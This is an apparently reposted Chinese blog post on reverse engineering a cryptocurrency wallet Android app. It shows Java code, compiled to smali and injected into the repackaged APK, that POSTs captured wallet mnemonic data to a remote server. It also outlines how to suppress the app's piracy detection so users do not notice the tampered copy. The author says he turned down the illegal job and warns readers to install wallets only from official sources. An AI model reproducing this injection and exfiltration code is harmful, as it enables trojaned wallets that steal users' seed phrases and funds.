IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 区块链 -> 区块链钱包APP逆向分析及实现 -> 正文阅读

[区块链]区块链钱包APP逆向分析及实现

PS: 有单子找我接呀,点击这里加我

前言

1.早在8月中旬接到一个粉丝加我,说是有开发需求,找我来聊聊,能否实现

在这里插入图片描述

2.还真搞定了,但是由于这个钱来路有点黑,最后不接,对方开了很高的价钱也不接

3.也很久没更新博客了,也没什么技术亮点,这次水一篇吧,好歹是逆向某APP,也学习到了一些东西

4.本篇内容篇幅就不介绍脱壳、签名的问题,本篇文章侧重介绍:Smali 源码修改及重打包

逆向定位小技巧

PS: 先了解区块链钱包的实现原理

了解到区块链钱包,技术上主要涉及这几个重要概念:助记词、私钥、公钥、钱包地址

而且区块链钱包服务器是不会保存用户的助记词的,并且不通过网络传输;

换而言之,就是都保存在你本地;

笔者测试过,安卓端去设置里面,把APP的数据给清空掉的话,是直接就没有了的,

如果你不记住你本子,你的钱包是找不回来的,所以一定要记下来你的助记词

1.明知山有虎,偏向虎山行——还是老套路,抓包分析(固有套路,排除最简单的方式)

2.发现抓包并没有什么发现,都是加密的东西(TCP/UDP/HTTPS)

3.灵光一闪,想到了前面的原理所提及的关键词,直接拿去谷歌翻译啊笨——当时心情突然开心了一下子

在这里插入图片描述

4.助记词——Mnemonic,真行啊这都被我想到了,而且一点混淆也没有(我骄傲了吗,哼!)

在这里插入图片描述

5.使用 frida hook 来分析到的关键代码处(这里忽略过程)

6.本文介绍的最重要的一点来了:smali 源码修改及打包

6-1、首先来分析一下,我们可以直接修改 smali 源码来实现我们需要的操作,比如:

  • 插入 log 日志打印;
  • 监听到指定的关键内容之后,发送到指定的服务器;

6-2、那么问题来了,我们需要对 smali 源码进行修改,那不得按照它的语法来编写呀?

很好,你有这个意识就好;

来到了,我的政治老师教给我的,怎么办?我们直接写一大篇幅的 smali 代码那简直是头疼呀,不是不可能,是很容易出错,需要多次修改;

有没有更好的思路及实现呢?有吧,我觉得

7.正向开发——>再反编译成 smali 项目——>拷贝 smali 文件——>修改 smali 文件的包路径为正确的包路径——>最后引用

发送内容到指定的服务器 demo 代码:

ForSmaliUtils.java

import android.util.Log;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;

public class ForSmaliUtils {


    public static String streamToString(InputStream stream) {
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int len = 0;
        try {
            while ((len = stream.read(b)) != -1) {
                outputStream.write(b, 0, len);
            }
            return outputStream.toString();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }

    public static void sendData(final Object data) {
        final String TAG = "SmaliLog";
        final String myUrl = "http://192.168.1.2:7071/receiveData";
        Log.i(TAG, "objdata: " + data.toString());
        Thread thread = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    URL url = new URL(myUrl);
                    HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
                    urlConn.setConnectTimeout(10 * 1000);
                    urlConn.setReadTimeout(10 * 1000);
                    urlConn.setDoOutput(true);
                    urlConn.setDoInput(true);
                    urlConn.setUseCaches(false);
                    urlConn.setRequestMethod("POST");
                    urlConn.setInstanceFollowRedirects(true);
                    urlConn.setRequestProperty("Content-Type", "application/json;charset=UTF-8");
                    urlConn.connect();
                    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(urlConn.getOutputStream());
                    outputStreamWriter.write(String.valueOf(data));
                    outputStreamWriter.flush();
                    outputStreamWriter.close();
                    if (urlConn.getResponseCode() == 200) {
                        String result = streamToString(urlConn.getInputStream());
                        Log.e(TAG, "Post方式请求成功,result---> " + result);
                    } else {
                        Log.e(TAG, "Post方式请求失败: " + urlConn.getResponseMessage());
                    }
                    urlConn.disconnect();
                } catch (Exception e) {
                    Log.e(TAG, "发送数据异常: " + e.toString());
                }
            }
        });
        thread.start();

    }

}

调用发送数据到指定的服务器:

String myData = "hello, i am qizai, are u ok?";
ForSmaliUtils.sendData(myData);

然后将正向开发的代码,我的是在一个 xposed 插件 APP 里面的,所以直接编译这个项目输出一个 APP 包就行了;

然后将这个输出的 APP 包,反编译成 smali 项目,我这里同样是使用 Android killer来修改, 请看第一篇手把手教学的教程

查看 smali 源码

在这里插入图片描述

在这里插入图片描述

直接拷贝 ForSmaliUtils 的 smali 文件,及使用、调用它

在这里插入图片描述

然后重新打包,成功之后,直接打印日志试试,因为我里面做了日志打印,标签为:SmaliLog

使用adb logcat -s SmaliLog查看,发送成功,发送的内容是:初始化创建用户的时候,APP是默认给用户创建三个钱包,币种分别是:ETH、BTC、ATOM,所对应的相关内容

在这里插入图片描述

服务端接收成功:

在这里插入图片描述

至此,这 APP 算逆向成功了

关于去掉APP盗版检测思考

比如,检测到了盗版是这样的:

在这里插入图片描述
但是检测也照样能过滤掉,这样一来,一般的使用者就不会发现是盗版的 APP 了

怎么过呢?目前考虑的情况有这些:

  • 屏蔽官方发起盗版检测请求
  • 去掉当前的弹窗

目前实现的步骤来看,不再继续研究了,因为这是违法的事,我也跟那哥们说了,不接这单子了,然后他找别人做去了

区块链安全思考

  • 所谓的区块链安全,什么去中心化,啥的,对吧;
  • 搁这,APP 被动手脚了那也不是很安全嘛,对吧;
  • 最重要的是,如果大伙们要炒币,那一定要从官方网站下载 APP,别从朋友那里下载,或者一些近似官网链接去下载
  • 这粉丝说是在国外的,搞这些;然后给了很多盗版的官网链接给我,打开的页面就是跟官网一模一样,链接也是包含官网那些关键词
  • 反正无论是什么 APP、什么软件都得要慎重思考来源——诚信的给你们提醒

总结

  • 本文只想介绍一个知识点:逆向的时候,我们可以从正向开发,编写好代码后,编译成APP;
  • 再对APP进行反编译,我们就拿到了完全正确格式的 smali 代码;
  • 然后再对我们需要的 smali 文件进行拷贝到,目标逆向APP内;
  • 插入相关的调用逻辑,俗称 “插桩”,这里需要注意的是,拷贝的 smali 文件中,开头那里需要修改为正确的包名路径;
  • 插桩的时候,我们还需要注意的是:局部变量的个数,如果有用到的话(即是:.locals指令,表明了方法中非参寄存器的个数)

其他

  • 别发横财梦了(讲真,那个单子真的很诱惑,好几个 APP,总共的金额高达3/40W,那对我来说,是三四线城市的一个首付呀)
  • 黑产早晚得进去,别杠,杠就是:早中晚都进去 [/狗头保命]
  • 禁得住诱惑

之前说好的,每个月至少一更,现在都很多个月没写了,对不起粉丝们,这么久没有输出内容

感谢某人的默默支持,这好长一段时间,辛苦了,谢谢

很深夜了,睡觉啦,晚安

关注这里,了解更多原创资讯:
打赏喝咖啡

你的支持就是我的动力,感谢感谢

  区块链 最新文章
盘点具备盈利潜力的几大加密板块,以及潜在
阅读笔记|让区块空间成为商品,打造Web3云
区块链1.0-比特币的数据结构
Team Finance被黑分析|黑客自建Token“瞒天
区块链≠绿色?波卡或成 Web3“生态环保”标
期货从入门到高深之手动交易系列D1课
以太坊基础---区块验证
进入以太坊合并的五个数字
经典同态加密算法Paillier解读 - 原理、实现
IPFS/Filecoin学习知识科普(四)
上一篇文章      下一篇文章      查看所有文章
加:2021-09-13 09:19:47  更:2021-09-13 09:19:59 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/10 19:53:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码